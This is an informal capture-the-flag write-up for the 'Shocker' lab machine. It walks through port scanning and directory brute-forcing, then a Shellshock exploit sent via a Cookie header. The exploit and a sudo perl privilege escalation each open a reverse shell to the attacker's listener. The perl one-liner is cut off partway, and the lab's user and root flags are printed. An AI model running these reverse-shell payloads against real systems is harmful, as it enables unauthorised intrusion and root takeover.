enumeration

found 2 open ports
80- http
2222- openshh

nothing on 80 no website

ssh is not vulnerable

trying local file enclusion

ran dirb and got 10.10.10.56/cgi-bin/user.sh by running dirb 2 time

going to it tells that a bash shell is running as it returns a file to download and a its name is shocker shellshock may be running which is vulnerable

sending the http cookie and injecting we get a shell with nc -nlvp 4444 and

```
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.11/4444 0>&1' http://10.10.10.56/cgi-bin/user.sh
```

we get the shell with user privilage

userflag--e29160d6f58b161ff0084b35add4c997

now to enumerate privilage we run sudo -l command and we saw that we can run sudo /usr/bin/perl commands and we saw in pentestmonkey a perl reverseshell code

so we ran

```
sudo /usr/bin/perl -e 'use Socket;$i="10.10.14.11";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,so
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

and ran nc -nlvp 1234 and here we got the root so we grab the root flag

rootflag--5a5313f813154ef4e7ea15e7e0daf806